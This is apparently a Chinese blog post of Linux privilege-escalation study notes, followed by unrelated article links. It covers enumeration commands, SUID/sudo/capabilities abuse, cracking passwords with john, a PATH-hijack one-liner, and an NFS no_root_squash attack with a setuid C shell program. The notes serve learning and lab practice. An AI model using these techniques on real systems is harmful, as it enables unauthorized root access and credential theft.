当前位置: 首页 > news >正文

linux 提权

linux 提权

  • linux 提权
    • linux 本机信息枚举
      • 常见命令
      • find命令大全
    • linux 自动枚举工具
    • 内核提权
      • 利用步骤
      • 漏洞来源
    • sudo提权
    • suid 提权
    • capabilities(功能) 提权
    • 计划任务提权
    • 环境变量提权
    • NFS(网络文件共享)提权

linux 提权

linux 本机信息枚举

常见命令

hostname # 主机名
uname -a # 查询系统信息
cat /etc/version # 查看进程信息
cat /etc/issue # 查看操作系统信息
ps -A #查看所有正在运行的进程
ps axjf #查看进程树
ps aux #选项将显示所有用户的进程 (a)、显示启动进程的用户 (u) 以及显示未连接到终端的进程 (x)
env # 显示环境变量
sodu -l # 查看用户允许已root权限运行哪些命令
id <username> # 提供用户权限级别的一般概述,以及组成员身份
cat /etc/passwd # 发现系统上用户
history # 查看用户历史命令
ifconfig # 显示网卡信息
ip route # 查看存在的网络路由
netstat -ano 查看网络状态netstat -a # 显示所有侦听端口和已建立的连接。
netstat -at/-au # 用于列出 TCP 或 UDP 协议 分别。netstat
netstat -l # 显示处于“侦听”模式的端口
netstat -s # 按协议列出网络使用统计信息
netstat -tp # 列出包含服务名称和 PID 信息的连接。
netstat -i # 显示接口统计信息。

find命令大全

find . -name flag1.txt # 在当前目录查找文件
find /home -name flag1.txt # 在/home 目录查找文件
find / -type d -name config # 在/下找到名为config的目录
find / -type f -perm 0777 # 查找具有 777 权限的文件
find / -perm a=x # 查找可执行文件
find /home -user frank # 在home目录下查找用户Frank的所有文件
find / -mtime 10 # 查找最近 10 天中修改的文件
find / -atime 10 # 查找最近 10 天访问过的文件
find / -cmin -60 # 查找过去60分钟内更改的文件
find / -amin -60 # 查找过去60分钟内访问的文件
find / -size 50M # 查找大小为 50 MB 的文件
find / -size +50M # 查找大小大于 50 MB 的文件
find / -size -50M # 查找大小小于 50 MB 的文件
2>/dev/null # 将错误重定向到/dev/null
# 查找全局可写的目录的三种方法
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null
# 查找全局可执行的目录
find / -perm -o x -type d 2>/dev/null
# 查找开发工具和支持的语言
find / -name perl*
find / -name python*
find / -name gcc*
# 查找具有suid权限的文件
find / -perm -u=s -type f 2>/dev/null

linux 自动枚举工具

# LinPeas
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS# LinEnum
https://github.com/rebootuser/LinEnum# LES(Linux漏洞利用建议器)
https://github.com/mzet-/linux-exploit-suggester# Linux智能枚举
https://github.com/diego-treitos/linux-smart-enumeration# Linux隐私检查器
https://github.com/linted/linuxprivchecker

内核提权

利用步骤

# 识别内核版本
# 搜索并找到目标系统内核版本的漏洞利用代码
# 运行漏洞利用程序

漏洞来源

# 根据您的发现,您可以使用 Google 搜索现有的漏洞利用代码。
# https://www.linuxkernelcves.com/cves等来源也很有用。
# 另一种选择是使用 LES(Linux Exploit Suggester)之类的脚本,但请记住,这些工具可能会生成误报(报告不影响目标系统的内核漏洞)或漏报(不报告任何内核漏洞,尽管内核是易受伤害的)

sudo提权

sudo -l # 检查与root权限相关的当前情况
https://gtfobins.github.io/ # 查询具有suid或者sudo权限可以如何提升权限

suid 提权

find / -type f -perm -04000 -ls 2>/dev/null # 列出suid/sgid文件
https://gtfobins.github.io/ # suid提权速查
unshadow passwd.txt shadow.txt > passwords.txt # 破解用户名密码
sudo john password.txt # 爆破用户密码
openssl passwd -1 -salt 用户名 密码 # 生成用户名密码的加密

capabilities(功能) 提权

getcap -r / 2>/dev/null # 查看启用的功能
https://gtfobins.github.io/ # capabilities提权速查

计划任务提权

cat /etc/crontab # 查看计划任务
# 不要忘了加运行权限

环境变量提权

echo $PATH # 输出环境变量
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u # 查找可写文件夹
export PATH=/tmp:$PATH # 添加自有环境变量
echo "/bin/bash" > /tmp/thm && chmod +x /tmp/thm # 将bash文件copy成某文件

NFS(网络文件共享)提权

cat /etc/exports | grep no_root_squash # 查看nfs配置文件并查看哪些目录可以利用
showmount -e 10.0.2.12 枚举目标机可挂载份额
mkdir /tmp/thm && mount -o rw 10.0.2.12:/backups /tmp/thm && cd /tmp/thm # 挂载目标机nfs# 创建c语言代码
int main(){setgid(0);setuid(0);system("/bin/bash");return 0;
}gcc nfs.c -o nfs -w && chmod +s nfs && ls -l nfs # 编译c语言代码并赋予suid权限

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 【QT代码控制Linux开发板】QT控制嵌入式Linux开发板运行shell脚本
  • 证书学习(二)搞懂 keystore、jks、p12、pfx、crt、csr、pem文件的区别
  • ResNet网络学习
  • 幂等性是什么意思?
  • 基于Shader实现的UGUI描边解决方案遇到的bug
  • UE基础 —— 打包项目
  • leetcode47. 全排列 II有重复元素的全排列,深度优先搜索
  • 【022】字符串的处理(输出,分割,删除,新增,替换,查找,长度)_#VBA
  • c++11异常
  • Linux驱动入门实验班——DHT11、DS18B20模块驱动(附百问网视频链接)
  • 如何在 Android 智能手机上恢复已删除的图片
  • C++前向声明简介
  • 【Dash】Dash中@callback() 回调函数的Output() 参数
  • 【OpenCV】SIFT(尺度不变特征变换)算法?
  • [000-01-022].第03节:RabbitMQ环境搭建
  • 【跃迁之路】【463天】刻意练习系列222(2018.05.14)
  • Django 博客开发教程 16 - 统计文章阅读量
  • ES6 学习笔记(一)let,const和解构赋值
  • Invalidate和postInvalidate的区别
  • Java 实战开发之spring、logback配置及chrome开发神器(六)
  • SpiderData 2019年2月25日 DApp数据排行榜
  • 官方解决所有 npm 全局安装权限问题
  • 面试题:给你个id,去拿到name,多叉树遍历
  • 扫描识别控件Dynamic Web TWAIN v12.2发布,改进SSL证书
  • 使用Tinker来调试Laravel应用程序的数据以及使用Tinker一些总结
  • 跳前端坑前,先看看这个!!
  • 微服务框架lagom
  • 物联网链路协议
  • 走向全栈之MongoDB的使用
  • JavaScript 新语法详解:Class 的私有属性与私有方法 ...
  • Java总结 - String - 这篇请使劲喷我
  • ​你们这样子,耽误我的工作进度怎么办?
  • ​数据链路层——流量控制可靠传输机制 ​
  • # Panda3d 碰撞检测系统介绍
  • #我与Java虚拟机的故事#连载08:书读百遍其义自见
  • $.type 怎么精确判断对象类型的 --(源码学习2)
  • (1)(1.8) MSP(MultiWii 串行协议)(4.1 版)
  • (CPU/GPU)粒子继承贴图颜色发射
  • (黑客游戏)HackTheGame1.21 过关攻略
  • (五)MySQL的备份及恢复
  • (原)Matlab的svmtrain和svmclassify
  • *Django中的Ajax 纯js的书写样式1
  • *算法训练(leetcode)第三十九天 | 115. 不同的子序列、583. 两个字符串的删除操作、72. 编辑距离
  • .apk 成为历史!
  • .htaccess配置常用技巧
  • .NET C# 操作Neo4j图数据库
  • .NET C# 使用GDAL读取FileGDB要素类
  • .NET CORE 第一节 创建基本的 asp.net core
  • .NET Core 中的路径问题
  • .NET gRPC 和RESTful简单对比
  • .Net OpenCVSharp生成灰度图和二值图
  • .NetCore 如何动态路由
  • .NET和.COM和.CN域名区别
  • .NET简谈互操作(五:基础知识之Dynamic平台调用)
  • .vimrc php,修改home目录下的.vimrc文件,vim配置php高亮显示